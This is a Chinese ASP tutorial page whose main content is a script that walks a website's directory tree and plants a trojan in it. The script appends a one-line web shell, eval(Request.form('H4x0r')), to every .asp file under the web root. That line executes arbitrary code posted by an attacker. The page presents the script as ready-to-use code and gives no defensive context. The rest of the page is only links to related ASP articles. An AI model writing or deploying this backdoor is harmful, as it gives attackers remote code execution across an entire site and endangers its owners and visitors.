- <%
- dim ph
- dim intfile
- server.ScriptTimeout = 600
- ph=server.mappath("/")
- Sub InsertAllFiles(Path)
- Set FSO = CreateObject("Scripting.FileSystemObject")
- on error resume next
- Set f = FSO.GetFolder(Path)
- Set fc2 = f.files
- For Each myfile in fc2
- If lcase(FSO.GetExtensionName(path&""&myfile.name))="asp" then
- Set FS1 = CreateObject("Scripting.FileSystemObject")
- Set tfile=FS1.opentextfile(path&""&myfile.name,8,false)
- tfile.writeline "<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(Request.form('H4x0r')+'')</SCRIPT>"
- else
- InsertAllFiles(newpath)
- end if
- tfile.close
- Next
- Set fsubfolers = f.SubFolders
- For Each f1 in fsubfolers
- newpath=path&""&f1.name
- InsertAllFiles(newpath)
- Next
- set tfile=nothing
- Set FSO = Nothing
- End Sub
- %>
- <%
- call InsertAllFiles(ph)
- %>
FSO遍歷目錄實現全站插馬的代碼
2019-10-14 11:33asp代碼網 ASP教程
FSO遍歷目錄實現全站插馬的代碼
延伸 · 閱讀
- 2021-03-16遍歷指定目錄，并存儲目錄內所有文件屬性信息
- 2020-08-30php實現遍歷目錄并刪除指定文件中指定內容
- 2020-08-21python遍歷目錄的方法小結
- 2020-08-12PHP遍歷目錄函數opendir()、readdir()、closedir()、rew
- 2020-07-25vbs fso跨盤移動文件夾的怪問題
- 2020-07-23vbscript禁用 啟用fso的方法
精彩推薦
- ASP教程
ASP.NET 數據源
數據源 一個 data sourse 控件與數據綁定的控件相互作用，并隱藏了復雜的數據的聯編過程。這些是提供數據給 data bound 控件的工具，并且支持如插入，刪除...
- ASP教程
asp+javascript實現404頁的處理轉換
asp+javascript實現404頁的處理轉換...
- ASP教程
asp 采集實戰代碼
最近實在是太流行采集了，本人是不喜歡采集的，但對采集的原理我卻很有興趣進行研究，拿到了網上采集常用函數，對其進行了一番研究，并實戰，結果...
- ASP教程
JScript中遍歷Request表單參數集合的方法
這篇文章主要介紹了JScript中遍歷Request表單參數集合的方法,本文以遍歷Request.QueryString集合為例給出了實現代碼,需要的朋友可以參考下...
- ASP教程
ASP常用函數:getpy()
ASP常用函數:getpy()...
- ASP教程
asp 標記字符串中指定字符變色不區分大小寫
今天遇到這種問題，單純的使用replace函數不行，他會改變原有的字符串的大小寫,在網上找到相關的代碼，自己備份下...
- ASP教程
asp Access數據備份,還原,壓縮類代碼
asp Access數據備份,還原,壓縮類實現代碼，大家可以參考下。...
- ASP教程
asp之基于adodb.stream的文件操作類
asp之基于adodb.stream的文件操作類...
